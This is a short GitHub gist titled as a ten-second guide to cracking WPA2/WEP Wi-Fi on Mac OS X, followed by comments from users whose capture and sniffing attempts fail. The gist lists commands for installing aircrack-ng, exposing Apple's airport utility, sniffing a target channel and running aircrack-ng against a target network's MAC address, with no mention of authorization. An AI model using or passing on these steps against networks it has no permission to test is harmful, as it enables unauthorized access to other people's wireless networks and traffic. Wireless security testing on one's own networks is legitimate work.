Created
September 12, 2013 03:36
-
-
Save victorreyesh/6532800 to your computer and use it in GitHub Desktop.
Cracking WPA2 / WEP Wifi / Aircrack 10 seconds guide. For Mac OSX
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Install Macports. | |
//Install aircrack-ng: | |
sudo port install aircrack-ng | |
//Install the latest Xcode, with the Command Line Tools. | |
//Create the following symlink: | |
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport | |
//Figure out which channel you need to sniff: | |
sudo airport -s | |
sudo airport en1 sniff [CHANNEL] | |
//New Terminal Window | |
aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE] | |
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap. |
$aircrack-ng -1 -a 1 -b "Mac address" "CAP_FILE"
Reading packets, please wait...
Opening "CAP_FILE"
Failed to open "CAP_FILE' : No such file or directory
someone, please help cap file won't open
You need to define "CAP_FILE" as the path example /path/to/cap_file.cap
what is the path to the cap file I cant find a top folder with airportsniff in it
Reading packets, please wait...
Opening /tmp/airportSniff*.cap
Failed to open '/tmp/airportSniff*.cap' (2): No such file or directory
any help?
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
First attempt failed.
➜ Clients airport en0 sniff 4
Could not open device en0 (en0: You don't have permission to capture on that device ((cannot open BPF device) /dev/bpf0: Permission denied)).
Second attempt failed
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en1 -w beacon.cap
tcpdump: en1: That device doesn't support monitor mode